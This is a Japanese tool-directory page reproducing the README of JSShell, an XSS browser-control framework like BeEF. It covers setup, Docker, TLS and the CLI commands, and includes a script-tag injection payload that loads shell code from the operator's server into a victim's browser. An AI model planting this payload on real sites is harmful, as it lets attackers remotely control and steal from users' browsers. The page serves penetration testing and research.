Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
JSShell — インタラクティブなマルチユーザーWeb JSシェル | Kitploit
ツール/GitHubGitHub/den1al/jsshell
エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHubden1al/jsshell

JSShell

インタラクティブなマルチユーザーWeb JSシェル

リポジトリを見る
364704年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

JSShell 2.0

made-with-python Generic badge Generic badge

対話型のマルチユーザーWebベースJavaScriptシェルです。当初は実験や研究の中で、特殊なリモートブラウザをデバッグするために作成されました。このツールはXSS(クロスサイトスクリプティング)ペイロードに簡単に組み込むことができ、ブラウザのリモートコード実行(BeeFフレームワークと同様)を実現します。

バージョン2.0は完全にゼロから作成され、新機能、安定性、保守性を備えています。

バージョン: 2.0

著者

Daniel Abeles

シェルデモ動画

asciicast

機能

  • マルチクライアント対応
  • 循環DOMオブジェクト対応
  • プリフライトスクリプト
  • コマンドキューとコンテキスト
  • プラグインによる拡張可能
  • <script>タグによる注入可能
  • コマンド出力のファイルへのダンプ
  • シェルのページネーション
  • HTTPS対応! Generic badge

インストールとセットアップ

設定ファイル

resourcesディレクトリ内のconfig.jsonファイルを、必要な設定に更新します。

  • データベースホスト - dockerデプロイ方法を使用する場合は、データベースホストをdb(内部ホスト名)に設定します。
  • リターンURL - リクエストが従うURLです。shell.jsファイルはAJAX呼び出しを行い、コマンドの登録とポーリングを行います。通常はhttp[s]://{YOUR_SERVER_IP}:{PORT}となります。
  • 起動スクリプト - JSShell CLIクライアントが起動されたときに自動的に実行されるスクリプトです。
  • ドメイン - TLS証明書を生成する場合、サーバーが使用するドメイン名です。
  • 必要に応じてリモートデータベースを指定することも可能です。

Let's Encrypt

JSShellはTLSをサポートするようになりました。つまり、TLS証明書を生成してWebサーバーに提供できるようになりました。Webサーバーはconfig.jsonファイルからドメイン名を推測します。証明書を作成するには、scriptsフォルダ内のcreate_cert.pyスクリプトを使用します。

root@kitploit:~
$ cd scripts
$ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>
emailフィールドはオプションです。

スクリプトが正常に機能するためには、Webサーバーが停止している必要があることに注意してください。これで証明書の生成が成功しました。変更する必要がある箇所は次のとおりです。

  • config.jsonファイル内のURLフィールドのスキーマをhttpsに変更します。
  • docker-compose.ymlファイル内のwebコンテナの公開ポートを443に変更します。

Docker

この新しいバージョンでは、dockerとdocker-composeを使用したJSShellのインストールと実行をサポートしています。JSShellフレームワーク全体をインストールして実行するには、次のコマンドを実行するだけです。

root@kitploit:~
$ ./scripts/start_docker_shell.sh

これにより以下の処理が行われます。

  • バックグラウンドでデータベースを起動および作成します。
  • バックグラウンドで受信接続を処理するWeb APIサーバーを起動します。
  • JSShellコマンドラインインターフェースコンテナの新しいインスタンスを生成します。

通常の方法

従来のインストール方法を使用したい場合は、MongoDBデータベースが起動して実行されていることを確認し、resourcesディレクトリにあるconfig.jsonファイルを更新してください。

pyenvを使用した仮想環境を推奨します。

root@kitploit:~
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

またはvirtualenvを使用します。

root@kitploit:~
$ virtualenv -p python3.6 venv
$ source venv/bin/activate

次に、依存関係をインストールします。

root@kitploit:~
$ pip install -r requirements.txt

実行

dockerメソッドを使用した場合は、以下の手順を実行する必要はありません。

Webサーバー

データベースのセットアップが完了したら、Web APIサーバーを起動する必要があります。そのためには、次のコマンドを実行します。

root@kitploit:~
$ python manage.py web

これにより、受信接続をリッスンし、JSShellコードを提供するWebサーバーが作成され実行されます。

シェル

次にJSShell CLIを起動するには、同じスクリプトをshellフラグ付きで実行します。

root@kitploit:~
$ python manage.py shell

使用方法

セットアップと必要なコンポーネントの実行後、helpコマンドを入力して使用可能なコマンドを表示します。

root@kitploit:~
     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                テキストエディタでファイルを編集します
help                利用可能なコマンドを一覧表示するか、特定のコマンドの詳細なヘルプを表示します
history             以前に入力したコマンドの表示、実行、編集、保存、またはクリアを行います
ipy                 対話型IPythonシェルを起動します
py                  Pythonコマンドまたはシェルを実行します
quit                このアプリケーションを終了します

Shell Based Operations
--------------------------------------------------------------------------------
back                現在選択されているクライアントの選択を解除します
clients             システムに登録されているクライアントを一覧表示および制御します
commands            選択したクライアントで実行されたコマンドを表示します
dump                コマンドをディスクにダンプします
execute             選択したクライアントでコマンドを実行します
select              クライアントを現在のクライアントとして選択します

>> 

フロー

JSShellは2つの操作方法をサポートしています。

  1. インジェクタブルシェル(BeeFフレームワークと同様)
  2. ホスト型シェル(デバッグ用)

インジェクタブルシェル

他のXSS制御フレームワーク(BeeFなど)と同様に、JSShellは成功したXSSエクスプロイトを管理できます。例えば、scriptタグを注入できる場合、ペイロードに次のリソースを注入すると、新しいクライアントがコンソールに表示されます。

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

ホスト型シェル

特殊なブラウザをデバッグしたい場合は、http[s]://{YOUR_SERVER_IP}:{PORT}/にアクセスするだけで、新しいクライアントがJSShell CLIクライアントにポップアップ表示されます。これでJSShellコンソールを介してデバッグ可能になります。

クレジット

Canop - JSON.prune

ご自身の責任とリスクで使用してください。
ツールをダウンロード